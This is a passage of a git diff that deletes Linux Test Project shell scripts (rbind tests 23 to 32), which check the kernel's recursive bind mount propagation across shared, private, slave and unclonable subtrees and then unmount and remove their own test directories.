-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test23 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent1/child1
-
-	mount --rbind "$disk1" parent1/child1
-	mount --rbind parent1 parent2
-	mount --rbind parent1 share1
-
-	check parent1 parent2
-	check parent1/child1/ parent2/child1
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check -n parent1/child1/a share1/child1/a
-	check -n parent1/child1/a parent2/child1/a
-
-	mount --rbind "$disk3" parent2/child1/b
-
-	check -n parent1/child1/b parent2/child1/b
-
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test23: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test23: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child1/b
-	umount parent2/child1
-	umount parent2/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount share1/child1
-	umount share1/child1
-	umount parent2
-	umount parent2
-	umount parent1
-	umount parent1
-	umount share1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test23: FAILED: rbind: shared subtree with  private child to private subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test23: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test24 b/testcases/kernel/fs/fs_bind/rbind/test24
deleted file mode 100755
index 7899f50..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test24
+++ /dev/null
@@ -1,101 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test24} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST24***************"
-tst_resm TINFO "rbind: shared subtree with unclonable child to private subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test24 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent1/child1
-
-	mount --rbind "$disk1" parent1/child1
-	mount --rbind parent1 parent2
-	mount --rbind parent1 share1
-
-	check parent1 parent2
-	check parent1/child1/ parent2/child1
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check -n parent1/child1/a share1/child1/a
-	check -n parent1/child1/a parent2/child1/a
-
-	mount --rbind "$disk3" parent2/child1/b
-
-	check -n parent1/child1/b parent2/child1/b
-
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test24: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test24: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child1/b
-	umount parent2/child1
-	umount parent2/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount share1/child1
-	umount share1/child1
-	umount parent2
-	umount parent2
-	umount parent1
-	umount parent1
-	umount share1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test24: FAILED: rbind: shared subtree with unclonable child to private subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test24: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test25 b/testcases/kernel/fs/fs_bind/rbind/test25
deleted file mode 100755
index bd68172..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test25
+++ /dev/null
@@ -1,106 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-SETS_DEFAULTS="${TCID=test25} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST25***************"
-tst_resm TINFO "rbind: shared subtree with slave child to shared subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test25 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	mkdir parent1/child1
-
-	mount --bind share1 parent1/child1
-
-	mount --rbind "$disk1" parent1/child1
-	"${FS_BIND_ROOT}/bin/makedir" slave parent1/child1
-
-	mount --rbind parent1 parent2
-
-	check parent1 parent2
-	check parent1/child1/ parent2/child1
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check -n parent1/child1/a parent2/child1/a
-	check -n parent1/child1/a share1/a
-
-	mount --rbind "$disk3" parent2/child1/b
-
-	check -n parent1/child1/b parent2/child1/b
-	check -n parent2/child1/b share1/b
-
-	mount --rbind "$disk4" share1/c
-	check parent2/child1/c share1/c
-	check parent1/child1/c share1/c
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test25: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test25: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount share1/c
-	umount parent1/child1/a
-	umount parent2/child1/b
-	umount parent2/child1
-	umount parent2/child1
-	umount parent1/child1
-	umount parent2
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test25: FAILED: rbind: shared subtree with slave child to shared subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test25: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test26 b/testcases/kernel/fs/fs_bind/rbind/test26
deleted file mode 100755
index dd0e39a..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test26
+++ /dev/null
@@ -1,98 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test26} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST26***************"
-tst_resm TINFO "rbind: shared subtree with slave child to private subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test26 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --bind share1 parent1/child1
-
-	mount --rbind "$disk1" parent1/child1
-	"${FS_BIND_ROOT}/bin/makedir" slave parent1/child1
-
-	mount --rbind parent1 parent2
-
-	check parent1 parent2
-	check parent1/child1/ parent2/child1
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check -n parent1/child1/a parent2/child1/a
-	check -n parent1/child1/a share1/a
-
-	mount --rbind "$disk3" parent2/child1/b
-
-	check -n parent1/child1/b parent2/child1/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test26: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test26: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child1/b
-	umount parent2/child1
-	umount parent2/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount parent2
-	umount parent1
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test26: FAILED: rbind: shared subtree with slave child to private subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test26: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test27 b/testcases/kernel/fs/fs_bind/rbind/test27
deleted file mode 100755
index af2b64b..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test27
+++ /dev/null
@@ -1,104 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test27} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST27***************"
-tst_resm TINFO "rbind: shared subtree with slave child to slave subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test27 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --bind share1 parent1/child1
-	mount --bind share2 parent2
-	mount --rbind "$disk1" parent1/child1
-	"${FS_BIND_ROOT}/bin/makedir" slave parent1/child1
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-
-	mount --rbind parent1 parent2
-
-	check parent1 parent2
-	check parent1/child1/ parent2/child1
-	check -n parent2 share2
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check -n parent1/child1/a parent2/child1/a
-	check -n parent1/child1/a share1/a
-
-	mount --rbind "$disk3" parent2/child1/b
-
-	check -n parent1/child1/b parent2/child1/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test27: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test27: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child1/b
-	umount parent2/child1
-	umount parent2/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount parent2
-	umount parent2
-	umount share2
-	umount parent1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test27: FAILED: rbind: shared subtree with slave child to slave subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test27: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test28 b/testcases/kernel/fs/fs_bind/rbind/test28
deleted file mode 100755
index aba105a..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test28
+++ /dev/null
@@ -1,99 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test28} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST28***************"
-tst_resm TINFO "rbind: shared subtree with slave child to unclone subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test28 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --bind share1 parent1/child1
-
-	mount --rbind "$disk1" parent1/child1
-	"${FS_BIND_ROOT}/bin/makedir" slave parent1/child1
-
-	mount --rbind parent1 parent2
-
-	check parent1 parent2
-	check parent1/child1/ parent2/child1
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check -n parent1/child1/a parent2/child1/a
-	check -n parent1/child1/a share1/a
-
-	mount --rbind "$disk3" parent2/child1/b
-
-	check -n parent1/child1/b parent2/child1/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test28: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test28: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child1/b
-	umount parent2/child1
-	umount parent2/child1
-	umount parent1/child1
-	umount parent2
-	umount parent2
-	umount parent1
-	umount share1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test28: FAILED: rbind: shared subtree with slave child to unclone subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test28: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test29 b/testcases/kernel/fs/fs_bind/rbind/test29
deleted file mode 100755
index 9b3cd68..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test29
+++ /dev/null
@@ -1,91 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test29} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST29***************"
-tst_resm TINFO "rbind: shared subtree with uncloneable child to shared subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test29 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-
-	mount --rbind share1 parent1
-	mount --rbind share2 parent2
-
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent1/child1
-	mount --rbind "$disk1" parent1/child1
-	mount --rbind parent1 parent2
-
-	check -n parent1/child1 share1/child1
-	check -n parent1/child1 parent2/child1
-	check parent2/child1 share2/child1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test29: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test29: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1
-	umount parent1/child1
-	umount share2
-	umount share2
-	umount parent2
-	umount parent1
-	umount share1
-	umount parent1
-	umount share2
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test29: FAILED: rbind: shared subtree with uncloneable child to shared subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test29: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test30 b/testcases/kernel/fs/fs_bind/rbind/test30
deleted file mode 100755
index 93fd1e9..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test30
+++ /dev/null
@@ -1,86 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test30} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST30***************"
-tst_resm TINFO "rbind: shared subtree with uncloneable child to private subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test30 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mount --rbind share1 parent1
-
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent1/child1
-	mount --rbind "$disk1" parent1/child1
-	mount --rbind parent1 parent2
-
-	check -n parent1/child1 share1/child1
-	check -n parent1/child1 parent2/child1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test30: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test30: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount parent2
-	umount parent1
-	umount share1
-	umount parent1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test30: FAILED: rbind: shared subtree with uncloneable child to private subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test30: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test31 b/testcases/kernel/fs/fs_bind/rbind/test31
deleted file mode 100755
index 32e4623..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test31
+++ /dev/null
@@ -1,93 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test31} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST31***************"
-tst_resm TINFO "rbind: shared subtree with uncloneable child to slave subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test31 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-
-	mount --rbind share1 parent1
-	mount --rbind share2 parent2
-
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent1/child1
-	mount --rbind "$disk1" parent1/child1
-	mount --rbind parent1 parent2
-
-	check -n parent1/child1 share1/child1
-	check -n parent1/child1 parent2/child1
-	check -n parent2 share2
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test31: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test31: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount parent2
-	umount parent2
-	umount parent1
-	umount share1
-	umount share2
-	umount parent1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test31: FAILED: rbind: shared subtree with uncloneable child to slave subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test31: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test32 b/testcases/kernel/fs/fs_bind/rbind/test32
deleted file mode 100755
index bf14aa2..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test32
+++ /dev/null
@@ -1,86 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test32} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST32***************"
-tst_resm TINFO "rbind: shared subtree with uncloneable child to uncloneable subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test32 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mount --rbind share1 parent1
-
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent1/child1
-	mount --rbind "$disk1" parent1/child1
-	mount --rbind parent1 parent2
-
-	check -n parent1/child1 share1/child1
-	check -n parent1/child1 parent2/child1
-
-	break
-done
